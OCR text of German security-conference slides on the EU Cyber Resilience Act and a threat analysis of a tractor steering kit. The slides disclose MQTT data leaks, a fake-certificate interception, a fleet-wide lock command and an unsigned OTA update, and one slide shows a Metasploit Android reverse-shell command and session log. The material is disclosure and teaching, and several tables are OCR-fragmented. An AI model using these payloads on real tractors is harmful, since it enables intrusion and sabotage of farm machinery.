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Wir sind ein im deutschsprachigen
Raum fuhrendes Cyber Security
Unternehmen mit Fokus auf dem
Schutz von OT (Operational
Technology) und IoT. Wir unterstutzen
unsere Kunden dabei, industrielle
Anlagen, vernetzte Systeme und
digitale Infrastrukturen sicher zu

betreiben.

13+ Jahre

Leidenschaft fur
nachhaltige OT/IoT Security

ROk

25+ Professionals

Hochqualifizierte
Cybersecurity Expertinnen

Ganzheitliches
Portfolio

rund um Consulting, Assessment
& Ausbildung

e

Unabhangig
im DACH-Raum

Eigentimergefihrt und
werteorientiert




Defending what
matters

Mit unserem Know-how helfen wir dabei,
Sicherheitsrisiken frah zu erkennen, gezielt zu
minimieren und langfristig robuste Security-
Strukturen aufzubauen.

Dabei legen wir grol3en Wert auf das effiziente und
effektive Zusammenspiel von Technologie,
Prozessen und dem wichtigsten Faktor, dem
Menschen! Nur so kann Cyber Security langfristig
und nachhaltig wirken!

Limes Security - Defending what matters
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Womit wir helfen

Wir helfen Ihnen beim Aufbau von
@ SicherheitsmalRnahmen und der
Integration in Ihrem Unternehmen - durch
Schulung und erstklassige Sicherheitsschulungen und die

Zertifizieru ng von Zertifizierung Ihrer Mitarbeiter.

Wir helfen Ihnen, Fehler in Ihren Produkten Industriepersonal

und Lésungen zu erkennen, unterstutzen Sie

bei der EinfUhrung sicherer

Entwicklungsverfahren und begleiten Sie im Sichere Entwicklung
langfristigen Umgang mit Sicherheitsliicken. von Produkten

Wir bieten Ihnen die strukturierte
Bewertungen der Sicherheit Ihrer industriellen

@ Steuerungs- und Automatisierungssysteme
und identifizieren relevante Risiken und

Schwachstellen. Auf Basis der Ergebnisse

werden konkrete Malinahmen zur
Verbesserung der Cyber-Resilienz festgelegt.

Widerstandsfahigkeit
gegen Cyberangriffe

Wir unterstutzen Sie bei der Aufdeckung
technischer und organisatorischer
Schwachstellen in Ihrem Unternehmen,
helfen Ihnen beim Aufbau effektiver und Sicherer Betrieb von
effizienter Sicherheitsstrukturen und Industrieanlagen
setzen geeignete Gegenmalinahmen um.

' Limes Security - Defending what matters
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Unzahlige
vulnerable
Produkte im

Einsatz

Gefahrdung fur Kunden und
Betreiber
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Angriffe auf Smart-Farming

‘Sick.:ozesa . X Ransomware attack on farmer kills cow and her
@sickcodes - Folgen
calf

A ransomware attack has taken the life of a cow and its calf in Switzerland after a
Auf X ansehen farmer’s systems were breached by threat actors.

Playing Doom on a John Deere tractor display
(jailbroken/rooted) at @defcon

-
vy NoName @

ﬂ Daniel Croft - Fri, 16 Aug 2024 - CULTURE < S

A cow and a calf were both killed as a result of
the attack, which prevented small farmer Vital
Bircher from Hagendorn, Switzerland, from

HaCklng the Farm . checking the vitals of his animals.
Bre aking Badly Into Bircher first noticed problems with his milking
Agri cultural systems when he wasn't receiving data on his cows

being milked. He was then informed by the

Devices. manufacturer of his milking systems that a
ransomware attack had taken place, in which his

#
DEF CON 30 5 /Ck @ % data had been compromised, and threat actors
4 o ; were demanding $10,000.
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Cyber Resilience Act




Cyber Resilience Act (CRA)

Definiert Sicherheitsanforderungen fur ,Produkte mit digitalen Elementen”, um
- deren Widerstandsfahigkeit gegenuber Cyberangriffen zu erhéhen

- durch mehr Transparenz Kunden mehr Information zu geben

Am 10.10.2024 vom EU-Rat verabschiedet und bereits im Amtsblatt veroffentlicht; EU 2024/2847

Mit 10. Dezember 2024 beginnen Fristen zu laufen:
- Meldepflichten gelten 21 Monate danach (11. September 2026)
- Anforderungen des CRA gelten vollumfanglich 36 Monate danach (11. Dezember 2027)

Hilfreiche Links/WeiterfUhrende Lekture:
- Blue Guide CE 11. Dezember 2027

- CRA FAQs CYBER RESILIENCE ACT
- CRA Guidance

GILT

' TRAcking the TRActors


https://eur-lex.europa.eu/eli/reg/2024/2847/oj/eng
https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=uriserv%3AOJ.C_.2022.247.01.0001.01.ENG&toc=OJ%3AC%3A2022%3A247%3ATOC
https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=uriserv%3AOJ.C_.2022.247.01.0001.01.ENG&toc=OJ%3AC%3A2022%3A247%3ATOC
https://digital-strategy.ec.europa.eu/de/library/cyber-resilience-act-implementation-frequently-asked-questions
https://digital-strategy.ec.europa.eu/de/library/cyber-resilience-act-implementation-frequently-asked-questions
https://digital-strategy.ec.europa.eu/en/library/commission-publishes-new-guidance-support-timely-cyber-resilience-act-implementation
https://digital-strategy.ec.europa.eu/en/library/commission-publishes-new-guidance-support-timely-cyber-resilience-act-implementation
https://digital-strategy.ec.europa.eu/en/library/commission-publishes-new-guidance-support-timely-cyber-resilience-act-implementation

Vielfalt von Produkten mit digitalen Elementen -
Beispiele aus Alltag, Industrie und kritischen Bereichen

CRA betroffen CRA nicht betroffen

L SaaS

T O A A T e WS S R e,

SRR o Vo Medizinprodukte
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Welche Produkte sind betroffen?

= Der CRA gilt fur auf dem Markt bereitgestellte* Produkte mit digitalen Elementen

(i.e. ein Software- oder Hardwareprodukt und dessen Datenfernverarbeitungslosungen, einschlieflich Software- oder Hardwarekomponenten, die getrennt in den
Verkehr gebracht werden)

deren bestimmungsgemal3er Zweck oder vernunftigerweise vorhersehbare Verwendung eine direkte oder
indirekte logische oder physische Datenverbindung mit einem Gerat oder Netz einschliel3t.

=  Ausnahmen:

- Produkte:
» die bereits durch vergleichbare Vorgaben reguliert sind (2017/745, 2017/746,...)
» die ausschlieBlich fir Zwecke der nationalen Sicherheit oder fur Verteidigungszwecke entwickelt wurden

» die speziell fur die Verarbeitung von Verschlusssachen konzipiert sind
- Ersatzteile die nach der selben Spezifikation hergestellt wurden

- Prototypen (z.B. Messen/Vorfuhrungen/...) & unfertige Software (z.B. Testzwecke)

*) ‘. Inverkehrbringen” bzw. ,in den Verkehr bringen” die erstmalige Bereitstellung eines Produkts mit digitalen Elementen auf dem Unionsmarkt;

.Bereitstellung auf dem Markt” die entgeltliche oder unentgeltliche Abgabe eines Produkts mit digitalen Elementen zum Vertrieb oder zur Verwendung auf dem Unionsmarkt im
Rahmen einer Geschdftstdtigkeit;

' TRAcking the TRActors



Unter anderem...
auch Traktoren!

Die zunehmende Vernetzung
moderner Produkte bietet viele
Vorteile, aber auch Risiken.

Ein reales Beispiel zeigt, wie

Hersteller Cyber-Security (nicht)
behandeln soliten.

TRAcking the TRActors




CRA-Anforderungen an
Hersteller

' TRAcking the TRActors




Meldung von Schwachstellen & Vorfallen

Hersteller missen jede aktiv ausgenutzte Schwachstelle sowie jeden schwerwiegenden Sicherheitsvorfall, der die Produktsicherht

betrifft und ihnen bekannt wird, gleichzeitig dem benannten CSIRT-Koordinator, der ENISA, Kunden & etwaigen Drittherstellern
melden.

nationales
® CSIRT

*
i’**
*

/. — @ J enisa m
Q aktiv ausgenutzte Q‘ o

Schwachstelle
—@ Meldung** |

Hersteller ____ —® erforderlich =1 o f\oq
entdeckt oder - Endnutzer
bekommt gemeldet 1
schwerwiegender B Dritt-
® Hersteller

Sicherheitsvorfall*

*wenn die Fahigkeit eines Produkts zum Schutz sensibler oder wichtiger Daten oder Funktionen beeintrachtigt ist oder wenn
bdswilliger Code eingeflhrt oder ausgefuhrt wurde bzw. werden kann.

** Erstmeldung binnen 24h nach Kenntnisnahme, Nahere Informationen binnen 72h nach Kenntnisnahme, 14 Tage bzw. 1
Monat nach finaler Korrektur einen Abschlussbericht



Grundlegende Anforderungen

Produkte mit digitalen Elementen werden so konzipiert, entwickelt und hergestellt, dass sie angesichts der
Risiken ein angemessenes Cybersicherheitsniveau gewahrleisten. Auf Grundlage der Bewertung der
Cybersicherheitsrisiken mussen sie entsprechend gestaltet und umgesetzt werden.

keine bekannten, ausnutzbaren @ Datenminimierung

Schwachstellen

Sicherstellung der Verfugbarkeit
grundlegender Funktionen

—0

sichere Standardkonfiguration

Schwachstellen durch

Sicherheitsaktualisierungen behebbar ¢ Produkte mit | ® Minimierung negativer Auswirkungen
auf andere Gerate/Dienste
Schutz vor unbefugtem Zugriff + d Igltalen

Meldung bei Zugriff Elementen

—— @ geringe Angriffsflache

——@ Vorfallfolgen verringern

| Sicherheitsinformationen durch
l Logging/Monitoring (Opt-Out)

sichere und einfache vollstandige
Datenldschung

Schutz der Vertraulichkeit von Daten

Schutz der Datenintegritat + o |

Beschadigung melden

' TRAcking the TRActors



Wie eine Bedrohungsanalyse hilft?

Eine Bedrohungsanalyse hilft frihzeitig Probleme im Konzept zu identifizieren. Die besten Anforderungen
helfen aber auch nichts bei unsauberer Umsetzung.

Bedrohungsanalyse ist ein zentraler Bestandteil des CRA

Sie hilft...

- relevante Informationen dokumentiert

- Bedrohungen strukturiert zu analysieren fur nachvollziehbare, vergleichbare und reproduzierbare Risiken

- zielgerichtete & relevante MalBnahmen zu identifizieren

Um ein dem Produkt entsprechendes, akzeptables Mal3 an Restrisiko zu erreichen

Anforderungen aber nur ein Teil der Entwicklung! Es braucht auch

- Lieferantenmanagement, Komponentenauswahl, Secure Coding, Absicherung Entwicklungsumgebung,
Security Tests, Security Dokumentation, Schwachstellen-Monitoring, Schwachstellen-Handling, Wissen &
Verantwortlichkeiten, und vieles mehr...

TRAcking the TRActors
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Bedrohungsanalyse

Definition Sicherheits- Schnittstellen &  Auswirkungen Eintritts-
SUC kontext definieren Assets einschatzen  wahrscheinlichkeit

06

L

Bedrohungen Bewerten MaRBnahmen Uberprifung
identifizieren und Risiko ableiten

identifizieren

' TRAcking the TRActors
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Das System
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@ Systemabgrenzung: Was wird gebaut/betrieben?

Was macht das Produkt? - GNSS Receiver
= Wo sind die Systemgrenzen?
Control Terminal «

= Welche Komponenten und Schnittstellen sind Teil der £ 2 -
Betrachtung und welche nicht? )V - Electric Steering

= Mit welchen Systemen interagiert das Produkt? A
= Welche Funktionen sind aktiv/vorgesehen?

= Welche Version wird betrachtet? R

= Welche MalBnahmen gibt es bereits?

= Welche Funktionen sind zukunftig geplant? « Angle Sensor

Lenksystem
Smartes Lenksystem mit hoher Spurgenauigkeit, um Effizienz durch Smart Farming zu steigern.
Das System ist ein Einbau-Kit fur Traktoren, welches lokal via Tablet gesteuert wird, sowie die Daten in eine Cloud sichert.

Uber die Cloud werden Updates bezogen und Positionsdaten ausgetauscht fur die Steuerung (i.e. Planung Routen)
Es wird betrachtet: Extension Kit mit BLE, Wifi, LTE, USB sowie das Tablet + App & die Anbindung an Cloud.

TRAcking the TRActors




2

GPS+RTK

' TRAcking the TRActors

BLUETOOTH

HTTPS + MQTT

————————— GNSS Receiver

Control Terminal «

B 1]
7| BEW . flectric Steering

Wheel

* Angle Sensor



Intended Use, vorrangige Nutzung & weitere
Annahmen (Sicherheitskontext)

Was ist der Verwendungszweck des Produkts? Wie sieht die Betriebsumgebung aus?

Prazise Steuerung & Uberwachung Offentlicher Raum

Was kann vernunftigerweise von den Kunden Wie hoch ist die voraussichtliche Lebenserwartung eines Produkts?
erwartet werden?
Regelmalige Wartung
System wird aktualisiert Was erwarten/fordern die Kunden?

Einfach zu bedienendes System
Verfligbarkeit & Robustheit fur Einsatzumgebung
Wer sind die Nutzer/Betreiber des Produkts?

Landwirt*Innen

Service-Technicker*Innen

Kann der physische/logische Zugriff eingeschrankt werden?

Physisch: Absperren des Traktors bei Nichtbenutzung

Logisch: LTE, WiFi hinter PW-AP, BLE Pairing

' TRAcking the TRActors



Schnittstellen (z.B. TCP-Port, USB, JTAG,...)

Woruber sind Angriffe moglich?
Welche Protokolle werden verwendet?
Wo wird eine Trust Boundary Uberschritten?

Welche Daten werden Ubertragen?

Assets (z.B. Passworter, Logik, Daten,...)

Was sind mdgliche Ziele eines Angriffs?
Was ist schutzenswert?

Was ist essenziell fUr die Funktionalitat?

Assets (z.B. Passworter, Logik, Daten,...)

Firmware
Credentials Cloud

Positionsdaten

TRAcking the TRActors

@ Dokumentation von Schnittstellen & Assets

%

GPS+RTK

|

| | HTTPS + MQTT
+
IE]

BLUETOOTH

Schnittstellen

BLE (Kom. Kit <> Tablet)

WiFi & LTE (Kom. Kit <> Cloud via HTTPs & MQTTSs)
GPS+RTK




Das Risiko

Bedrohungsanalyse

CRA: , Cybersicherheitsrisiko” das Potenzial fiir Verluste oder Stérungen, die durch
einen Sicherheitsvorfall verursacht werden, das als eine Kombination des AusmafSes
eines solchen Verlusts oder einer solchen Stérung und der Wahrscheinlichkeit des
Eintretens des Sicherheitsvorfalls zum Ausdruck gebracht wird

= Grundidee;
- Risiko = Auswirkung x Wahrscheinlichkeit
- Risiken identifizieren, bewerten und mindern

= Auswirkungen: Gerateausfall, Anzeige falscher Daten, unzuverlassiges
Produkt, Verletzungen,...

- Produktspezifische Definition der Schadensszenarien und Akzeptanzkriterien
notwendig

= Grofte Schwierigkeit im Bereich Security: Eintrittswahrscheinlichkeit

- Eintrittswahrscheinlichkeit im Bereich Safety berechenbarer, z.B. mithilfe von
MTBF-Kennzahlen, um ein gewunschtes Wahrscheinlichkeitsniveau zu erreichen

- Security hingegen ist sehr dynamisch, aufgrund haufig auftretender neuer
Schwachstellen

- Wie hoch ist die Angriffswahrscheinlichkeit und wie wahrscheinlich ist es, dass sie
auch erfolgreich ist?

27



@ Potenzielle Auswirkungen

Schadensszenarien werden spezifisch fur das Produkt definiert

I- GefahrLf:l;eL:lb und Verfugbarkeit Vertraulichkeit Integritat Physische Schaden

Desastros Ausfall mehrerer Systeme

Eingreifen in Steuerung Zerstorung des Traktors

Lesender Manipulation der
Zugriff auf: Firmware
3 Kritisch Schwerverletzte Ausfall des Systems - Firmware Manipulierte
- Positionsdaten Positionsdaten

mehrerer Systeme  mehrerer Maschinen

Leichte Verletzung Manipulierte
2 Moderat durch unerwarteten Ausfall Cloud-Tracking Positionsdaten einer Erhdhte Abnutzung
Lenkeingriff Maschine
Lesender
1 Vernachlassigbar Neustart des Systemes Zugriff auf:

Eigene Positionsdaten

' TRAcking the TRActors



@ Eintrittswahrscheinlichkeit

Exponiertheit

der betroffenen Komponente

Generell: sehr groRe Personengruppe;
Purdue/PERA Level: >= 4

Logischer Zugriff: Internet zuganglich; grolRes Intranet
Physischer Zugriff: Offentliche Umgebung

Einfach

Generell: limitierte, aber groRe Personengruppe (z.B. alle

registrierten Kunden); Purdue/PERA Level: 3 u. 3.5 Mittel-
3  Mittel-Hoch Logischer Zugriff: Extranet, Medium Intranet 3 AT
Physischer Zugriff: Besucher Bereich mit eingeschrankter &
Uberwachung (z.B. Konferenzraume)
Generell: kleine limitierte Gruppe, ohne strikte Kontrollen (z.B.
Mittel- Projekt-Team); Purdue/PERA Level: 1 u. 2 o
2 Niedri Logischer Zugriff Access: Feldbus 2 Schwierig
g Physischer Zugriff: plaziert in Bereichen mit kontrolliertem
Zugang (z.B. Produktionshallen)
Generell: sehr kleine, gut kontrollierte Gruppe; Purdue/PERA
Level: 0 E
. q xtrem
1 ini 1 .
Niedrig (z.B. 3 Administratoren welche nur unter Kontrolle Schwierig

Systemzugriff erhalten)
Physischer Zugriff: versperrte Schaltschranke

. TRAcking the TRActors

Ausnutzbarkeit

der missbrauchlich genutzten Schwachstelle

- praktisch kein Wissen notwendig (z.B. Nutzung von Standard
Passwortern)

- gewobhnliche Benutzung des Systems

- IEC 62443 SL-1 Angreifer

- kann mit verfigbaren Werkzeugen durchgefihrt werden

- erfordert grundsatzliches IT- oder Domanenwissen (z.B. Brute-
Force von schwachen Passwortern)

- Ausnutzung bekannter Schwachstellen

- IEC 62443 SL-2 Angreifer

- erfordert die Entwicklung von Tools, oder tiefe Kenntnis
daruber

- erfordert tiefes IT oder Domanen-Wissen (z.B. Kompilieren
eigener Tools)

- IEC 62443 SL-3 Angreifer

- erfordert aulBergewdhnliche technische Expertise

- erfordert interne Informationen mit geringem
Verbreitungsgrad

(z.B. Reverse Engineering einer geschutzten Anwendungsdatei)
- IEC 62443 SL-4 Angreifer



Schutzziel

Authentication
Integrity
Non-repudiation
Confidentiality

Availability

Authorization

' TRAcking the TRActors

% Threat

Spoofing

Tampering

Repudiation

Information
Disclosure

Denial of
Service

Elevation of
Privilege

Definition
Sich als etwas oder jemand anderes
ausgeben.

Andern von Daten oder Code

Behaupten, eine Handlung nicht
ausgefuhrt zu haben.

Offenlegen von Informationen an
Personen, die nicht berechtigt sind,
sie zu sehen

Verweigern oder Herabstufen des
Dienstes fur Benutzer

Erwerben von Funktionen ohne
entsprechende Autorisierung

|ldentifikation von Bedrohungen
z.B. mittels STRIDE Methodik

Beispiel

Jemand gibt vor, einer der Billg-, microsoft.com- oder ntdll.dll zu
sein.

Andern einer DLL auf einem Datentrdger, einer DVD oder eines
Pakets beim Durchlaufen des LANs.

"Ich habe diese E-Mail nicht gesendet”, "Ich habe diese Datei nicht
gedndert”, "Ich habe diese Website sicherlich nicht besucht, Liebes!"

Jemandem erlauben, den Windows-Quellcode zu lesen;
Veréffentlichen einer Liste von Kunden auf einer Website.

Absturz von Windows oder einer Website, Senden eines Pakets und
Absorbieren von Sekunden CPU-Zeit oder Weiterleiten von Paketen in
ein schwarzes Loch.

Einem Remote-Internetbenutzer das Ausfiihren von Befehlen zu
erlauben, ist das klassische Beispiel, aber der Wechsel von einem
eingeschrénkten Benutzer zu einem Administrator ist auch EoP.

Source: https://www.microsoft.com/security/blog/2007/09/11/stride-chart/



@ Bedrohungen bewerten und Risiken identifzieren

@ Maldnahmen ableiten
@ Uberprifung

Betroffene

?
Machewas? Schnittstelle

Auswirkung

Exponiertheit

Ausnutzbarkeit

Wahrs
cheinli
chkeit

Gegenmalinahmen-

Risiko Ideen

Eingeschrankter

nutzt nicht was dazu L
, ” y Schreibrechten Aus dem Internet
Angreifer verandertes SSH fahrt, auf 3 erreichbar
Standardpaswort dass Konfigurationen /
Daten
verandert Anderung der
Programmcode via was dazu  Logik mit Risiken Zugreifbar an
Angreifer mini uliertern SD-Karte/USB  fiihrt, fur die Z8 Maschine bzw.
P dass  Maschinensicherh Steuerung
Update ait

' TRAcking the TRActors

2

Standardpasswort
ist bekannt. Aber
Angreifer muss die
Datenstrukturen
verstehen um
sinnvolle
Anderungen
durchzufuhren

Wissen uber Zugriff
auf Steuerung
notwendig.
Programm muss
dekompiliert und
verstanden werden
far gezielte
Anderung.

- VPN

- Anderung
Standardpasswort
erzwingen

- Rechte
einschranken

- Secure Update
- Secure Boot
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Die Schwachstellen
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Auslesen von
Postionsdaten

' TRAcking the TRActors




Senden Positionsdaten Liest alle Daten
& zu MQTT-Broker via MQTT wildcard

@“1 — &=

MQTT-Broker
@ \
Jf?\ [ M\ ¢

| S ] > >
©e O ()
4 )
}fF\ [ JfF\ [ .
©—e ©—e ()
-
o "
©—e© w
—_ Tractor Kraken

Tractors in use
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Osterhofen

Vilshofen ar
der Donau

Ortenburg

Braunau am
Inn

1

ghofen

Froilassing

SALZBURG

Bad
Reichenhall

Hallein

Berchte




Tractor: Auslesen von Positionsdaten

Information Disclosure

Macht was? Betroffene BIETEE Gegenmalinahmen-

Schnittstelle Auswirkung Exponiertheit Ausnutzbarkeit h:ll::ltc Risiko Ideen

- Authentifizierung > S ElEE

o ; Credentials
liest Daten aller was dazu Positionsdaten mittels hardcoded - Least Privilege:
Angreifer ; MQTT-Broker  fihrt, aller Systeme 3 Internet 4 Zugangsdaten 2 3 3 : 8¢
MQTT-Topics : ; Client darf nur auf
dass  werden ausgelesen - Keine Client- . :
iy seine eigenen
spezifischen Rechte D :
aten zugreifen
MaRBnahme/Ziel:

- Saubere Client Authentifizierung, um Zugriff auf MQTT einzuschranken und Clients unterscheiden zu kénnen

- Saubere Rechtetrennung bzw. limitierter Datenzugriff (nur auf eigene topics)

.Least Privilege”
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Mitlesen der MQTT-
Kommunikation

' TRAcking the TRActors




Abfangen und Entschlusseln von MQTT-Broker-Conn.

AODOA® eRARE Rev Yy EE 000 HE

N tcp.stream eq 32|

Time Source Destination Protocal  Length Info
6472689, i T I . . . 74 34602 - BEBE3 [SYN] Segq=0 Win=65535 Len=0 M55=1468 SACK_PERM TSval=-4294B89B197 TSecr=8 WS=64
.6920828.. B883 - 34602 [SYN, ACK] Seq=@ Ack=1 Win=1460 Len=@ MS5=14660 SACK_PERM WS=512
48852 6660.6244869.. 34682 .. BEB3 =1 Ack=1 Win=B7616 Len=0
48855 6660.7027962.. i I . . . . SNI=1ot-emg-ne.tj
48856 6660.7475054.. .138.177.89 10.1.1.18 TCP 54 B8B83 - 34602 [ACK] Seq=1 Ack=16B Win=2560 Len=0@
. 7499097, 51.138,. . B¢ 3.1.1. TLSV1.2 1767 Server Hello, Certificate, Server Key Exchange, Certificate Reguest, Server Hello Done
. TE8E642.. S T I . . . 34602 - BBB3 [ACK] Seq=168 Ack=1461 Win-985608 Len=@

48859 6660@.7598339.. odbodl -l 51.138.177.899 TCP 60 34602 - BEBB3 [ACK] Seq=168 Ack=1714 Win=924408 Len=@

43860 6660.7900249..016.1.1.18 51.138.177.89 TLSW1. 2 919 certificate, Client Key Exchange, Certificate Verify, Change Cipher Spee, Encrypted Handshake Message
48862 6660.8348020..051.138.177.99 16.1.1.18 TCP 54 BBE3 - 34602 [ACK] Seq=1714 Ack=1032 Win=5632 Len=@

48863 6660.836489009.. .98 16.1.1.18 TLSW1. 2 185 change Cipher Spec, Encrypted Handshake Message

43864 6660.8843026.. Gargate {8 B L T = . = = = =

48865 6661.0493503.. 10.1.1.18 51.138.177.99 TLSv1.2 173 Application Data e ONBSBecelvr
48866 6661.1026403.. 51.138.177.99 16.1.1.10 TLSV1.2 87 Application Data o

48867 6661.1051654.. 10.1.1.18 51.138.177.99 TCP 60 34602 -. 8883 [ACK] Seq=1152 Ack=1798 Win=93440 Len=@ o

48868 6661.1161036.. 10.1.1.10 51.138.177.99 TLSV1. 2 204 Application Data L
48877 6661.1633148.. 51.138.177.99 16.1.1.18 TLSV1.2 B9 Application Data

48878 6661.1764768.. 10.1.1.18 51.138.177.99 TLSv1.2 1485 Application Data, Application Data

48880 G661.2340345.. 51.138.177.99 16.1.1.18 TLSV1.2 87 Application Data A

48881 6661.2341086.. 51.138.177.99 16.1.1.18 TLSV1.2 98 Application Data

48882 GG61.2375000.. 10.1.1.18 51.138.177.99 TCP 60 34602 - 8883 [ACK] Seq=2653 Ack=1910 Win=93440 Len=@ * Angle Sonsor

Frame 48B57: 176 i bits) on interf: §
Ethernet II, OXMOXSEerve ac:fe ( 74:11:58: : ¢ ItonTechnolo 2c:ds:d2 | } 68 4 = a 0 3 22 dz2 hav-m- %

Internet Protocol Version 4, Sr p : 18.1.1.18 g 2 2c T F 2E Qv ,ix..d-*
Transmission Control Protocol, Src Port: B8B83, Dst Port: 34602, Seq: 1, Ack: 168, Len: 15 I 2E <ly!fo . -DK>--D
fer Security : PemeeBU e fe iy

. [ e

ri

Handshake Protocol: Server Hello
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Abfangen und Entschlusseln von MQTT-Broker-Conn.

SSL library used: OpenSSL 1.0.2u 20 Dec 2019

running test #3: certificate trust test with self-signed certificate for www.examp
listening on 0.0.0.0:8883

connection from: 10.1.1.10:35718

SS5L connection established

received data: X

disconnected

report:

test failed, client accepted fake certificate, data was intercepted
result: FAILED

test finished

running test #8: test for SSLv2 protocol support

listening on 0.0.0.0:8883
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Tractor: Mitlesen der MQTT-Kommunikation

Spoofing, Information Disclosure

Wahrsc
Macht was? S?:ﬁtrmi}(t)::iglfe Auswirkung Exponiertheit Ausnutzbarkeit heinlic  Risiko Gegenr?;e[innahmen-
hkeit
Gelangt an
was dazu Zugangsdaten, mit - MitM-Position Korrekte
, Gibt sich als y welchen weitlaufige o notwendig : .
Angreifer MQTT-Broker aus MQTT-Broker fggg Rechte am Broker ol Wi 3 B Self-signed Zertifikat 2 2 3 \Slglrlx?e"re-r;:r%igl?asts
genutzt werden ausreichend
kénnen

MaRnahme/Ziel:

Saubere Validierung der Zertifikate, so dass sichergestellt wird, dass Clients mit dem korrekten Broker kommunizieren
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Senden von
Kommandos
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Senden von Kommandos zu den Traktoren

Function call von Broker zu Traktor via MQTT Topic: function/invoke

- Zwei Funktionen standardmallig verfugbar

“Lock” und “Send notification”

« Nach “Lock” ist das Gerate nicht mehr verwendbar, aber manuelles Lenken ist noch immer maoglich

+ Kann alle Systeme weltweit sperren

*  Nur Hersteller kann Systeme entsperren

public void lockDevice(final St
08.d.b(TAG, "H=E
this.isLock = t :
uploadProperty(true);
LockManager.sendLockCmd (new LockManager.SendlLockCallback() -

;: com.fj.smartkit.net.mgtt.z
ide // n.fj.smartkit.manager. LockManager.Send
void onComplete(boolean z18) {
MyMgttManager.this.lambda$lockDevice$5(str, str2, z18);
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Tractor: Senden von Kommandos

Spoofing, Tampering, Denial of Service, Repudiation

Wahrsc
Ausnutzbarkeit heinlic Risiko
hkeit

Betroffene
Schnittstelle

Gegenmalinahmen-

Macht was?
Ideen

Auswirkung

Exponiertheit

Verbindet sich zu
MQTT-Broker und
Angreifer sendet Lock-
Command zu
einem Traktor

Verbindet sich zu
MQTT-Broker und
sendet Lock-
Command zu
beliebigen
Traktoren

Angreifer

' TRAcking the TRActors

was dazu ein System fallt
MQTT fahrt, 15 ysten 3 Internet
d angerfristig aus
ass
was dazu  mehrere Systeme
MQTT fahrt, fallen langerfristig BN Internet

dass aus

Standard-Credentials
notwendig

Gangige MQTT Tools
ausreichend

Aufruf der korrekten
Funktion fur Zielgerat

Standard-Credentials
notwendig

Gangige MQTT Tools
ausreichend

Aufruf der korrekten
Funktion fUr Zielgerate

Einzigartige Client-
Credentials

Least Privilege: Lock
Command darf nur
von Berechtigten
ausgefuhrt werden

Einzigartige Client-
Credentials

Least Privilege: Lock
Command darf nur
von Berechtigten
ausgefuhrt werden



Tractor: Senden von Kommandos

Spoofing, Tampering, Denial of Service, Repudiation

MaRBnahme/Ziel:
Saubere Authentifizierung, eindeutige Credentials fur Benutzer bzw. Gerate

Saubere Rechtetrennung - wer soll tatsachlich Lock-Command ausfuhren durfen?
.Least Privilege”
- Logging kritischer Aktionen - wer hat einen Lock-Command ausgefuhrt?

Angriffserkennung durch Monitoring - wurden in einem kurzen Zeitraum vermehrt Lock-Commands ausgefuhrt?
Bestehende ,,Mal3nahme":

Keine Fernsteuerungskommandos via MQTT maglich
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Steuerungseingriff
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Angriffspfade

Ausfihren von
FID Cloud MitM Cloud - Schadcode am Ubernahme der

Verbindung HMI Steuerung

4 N\

A 4

A

RCE via Bluetooth

Physischer Zugriff
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Over the air (OTA) Update feature

Original response

= Keine Security-Features vorhanden
- Simple HTTP-Verbindung, kein TLS

- Keine Signaturen, nur MD5

3.1.28 UPDATE",

- APKs kénnen aus beliebigen Quellen e
installiert werden '

= Fuhrt zu unauthentifizierter
Remote Code Execution (RCE) via
Man in the Middle

.com/1otPaas; 1744973391306/

"f1leMame
"filePath":
"ht
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Upgrade tips

Version: V4232 - BH USA Edition

New version detected. Do you want to upgrade?

Name Version Size

APP 25.103.1.28 10.0KB

Updatelllustrate:
Totally Not A Virus, Trust Me...I'm a Dolphin 49489

S

X Cancel v Upgrade
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~/badapk ) msfconsole -g -x "use multi/handler; set payload android/meterpreter/reverse tcp; set lhost eth®; set lport 1234; exploit"
[*] Using configured payload generic/shell reverse tcp

payload == android/meterpreter/reverse tcp

lhost == eth®

lport == 1234

[#] Started reverse TCP handler on 10.1.1.1:1234

16.1.1.1 - - [07/Jul/2025 15:21:41] "GET /bad.apk HTTP/1.1" 200

- [@7/Jul/2025 15:24:08] "GET /bad.apk HTTP/1.1" 208
- [87/Jul/2025 15:24:15] "GET /bad.apk HTTP/1.1" 200
[07/Jul/2025 15:24:19] "GET /bad.apk HTTP/1.1" 200
J Sendlng stage (72424 bytes) to 10.1.1.10
‘] Meterpreter session 1 opened (10.1.1.1:1234 -> 10.1.1.10:60588) at 2025-07-07 15:24:40

metferprefer =

metferprefer =

meterpreter > check root

[+] Device is rooted

meterpreter = 5y51nT0

Computer : localhost

0S : Android 9 - Linux 4.9.113 (armv7l)
Architecture :armv7l

System Language : en US

Meterpreter : dalvik/android
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Das Steuerungssystem im Detail

Status| ECU
&,

Commands via ttyS3
GPS Android Tablet

IMU Sensor Orientatio

Tablet - User Interface & Route Planning

ECU - Electronic Control Unit (brain of the system) -
IMU - Inertial Measurement Unit (orientation sensor)
MCU - Microcontroller Unit (motor controller)

' TRAcking the TRActors
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MN1904 AT2 ECU W103.0.4.12 D2503271008 bin txt = P Decompile: fun_packet_handler - (N1904 AT2 ECU W103.0.4.12 D2503271009 hi

e o o o e o o oo o o b o o o o b o o o oo o o o o o o o o o oo o o oo o ook o ok o ok o o o ook ok o o ok ok ook o o = 1
: FLNCTION " 2\void fun_packet handler{undefined4 param_no_idea whats_that,byte *packet buf

undefined  stdcall fun_packet handler(undefined4 param_... -
undefined ro:1 -RETLRN: yyite LBy
undefined4 ro: 4 param_no_idea whats_that undefined2 uvarz;
byte * Fl:4 packet buffer ushort packet_len;
undefinedl HASH: 5f547a0... packet cmd - .
ushort HASH: 5fof6ae... packet len bvarl = packet_buffer[Oxf]. i )
fun_packet_handler uvar2 = *(undefined2 *)(packet_buffer + 2);
pBE0Scad bo bs push {r4,r5,r7,1r} if (bvarl < Oxaa) {
02008cat c8 7h ldrh param_no_idea whats_that, [packet_buffer,z0xf] 1f (bvarl == 0x55) i .
08008ca8 4c 88 it rd, [packet_buffer,#0x2] fun_cmd_exec (& Jpacket_buffer + Ox10,uVar2);
08008caa ad 28 cmp param_no_idea_whats_that,#0xag TN
0B008cac 12 dd ble LAE 0B008cd4 } - ~
08008cae al fl sub . r2,param_no_idea whats that,#0xaa = 1f (bvarl == 0x56) » -
08008ch2 0 2a cmp 2, #0%6 fun_cmd_set param(& .packet buffer + Ox10,uVar2);

08008ch4 1d dB bhi switchD 00008chE: :caseD 7 . return;

switchD_080G8chS: : switchD A7 ML == LT iy .
